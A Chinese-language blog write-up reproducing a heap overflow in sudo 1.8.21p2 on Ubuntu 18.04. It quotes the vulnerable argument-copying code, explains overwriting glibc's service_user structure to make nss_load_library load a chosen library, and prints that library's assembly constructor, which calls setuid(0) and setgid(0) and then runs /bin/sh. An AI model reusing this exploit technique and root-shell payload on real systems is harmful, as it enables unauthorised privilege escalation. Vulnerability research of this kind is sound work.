Ubuntu 18.04
sudo-1.8.21p2
glibc-2.27
漏洞成因
在处理反斜杠时,默认之后会紧跟一个元字符。
//获取所有命令行参数的长度
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
//将命令行参数复制到user_args 。
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
//漏洞点,当以反斜杠结尾时造成heap overflow
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
以该参数为例:
set args -s ‘\’ “AAAAAAAAAAAAAAAAAAA”
当form[0] == ‘\\’时,from++ 当前字符串的结束符 ,*to++ = *from++ ,form指向下个字符串的起始位置(此时为A),while 循环内,将第二个字符串又写入to中,实际写入长度会超过堆块大小。
可利用点:
- 分配的堆块大小可控,由所有命令行参数的长度来决定。
- 可控制堆溢出的数据, 溢出为’\\’的下一个字符串决定,可利用环境变量。
- 可写入null数据,from == ‘\\’ 时,*to = * from++ 将null字符写入。
Exploitation:
作者说有三种利用手段,我选择了可能最好复现的手段。
将堆块溢出到service_user 字段的name
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
nss_load_library 会使用该结构体来载入一个新的动态链接库。据说nss_load_librray在有堆溢出的情况下,常用于提权。之后可以继续深入研究该函数的调用过程和用处,
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
//构建动态库的名称 libnss_*.so
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. Try a fallback. */
int n = __snprintf(shlib_name, shlen, "libnss_%s.so.%d.%d",
ni->library->name, __GLIBC__, __GLIBC_MINOR__);
if (n >= shlen)
ni->library->lib_handle = NULL;
else
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Ok, really fail now. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
}
这个函数我们需要去命中
ni->library->lib_handle = __libc_dlopen (shlib_name);
观察判断我们的目标在if (ni->library->lib_handle == NULL)内部,但是由于 ASLR 的存在,并且没有堆地址的泄露,所以我们没有办法确保ni->library->lib_handle 一定为空,但是在if (ni->library == NULL)的初始化情况,会新建一个service_user ,此时的ni->library->lib_handle 为空。
还有一个问题就是在载入过程中会遍历service_user 的next指针,所以不能随意将该字段写垃圾指针,应将其置为NULL。由于heap溢出可能会覆盖目标service_user结构体之前的service_user 导致遍历时出错。所以尽量覆盖到第一个service_user 来确保成功利用。
所以堆溢出覆盖service_user的数据为
ni->library == NULL
ni->name = 待加载so的名称
ni->next = NULL
控制堆分配:
在文章他们用名称为systemd的service_user ,从复现的角度来看我们也选择该名称的service_user ,当然也应该明白为什么,将这一步留到之后的分析中。
在文章中作者,在内存空间搜索了“systemd ” 和 “mymachine”来定位待溢出的目标,但是我们通过搜索字符串我们发现只能找到systemd的堆块。
我们知道service_user 是个单链表,这里通过next指针将这条service_user 链表还原。
0x563f627d6c58该地址并非一个堆块地址,所以猜测是一个存放service_user *的堆空间那么这个链有两个结构。
而name == “systemd “的第二个service_user链表,链上仅有一个结构体。
但是调试exp时发现,实际使用的溢出的目标堆块地址均不在这两条链上,可能在后期研究nss_load_library 时,会得到解答。也可以通过next指针回溯当时堆块所在的service_user 链。
由于name=”x/x”
按照拼接规则
实际会加载libnss_x/s.so.2 的动态链接库, 动态链接库代码:
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;"
);
}
conclusion:
本次复现还残留了不少问题
- 堆分配的细节
- 如何去定位溢出的service_user 结构?
- nss_load_library 的调用过程和它的作用。
- 作者如何发现该漏洞? fuzz ? 审计?后期尝试使用AFLfuzz测试下。
本次复现算是踏上了从ctf到真实环境漏洞的第一步, 希望锲而不舍。
0 条评论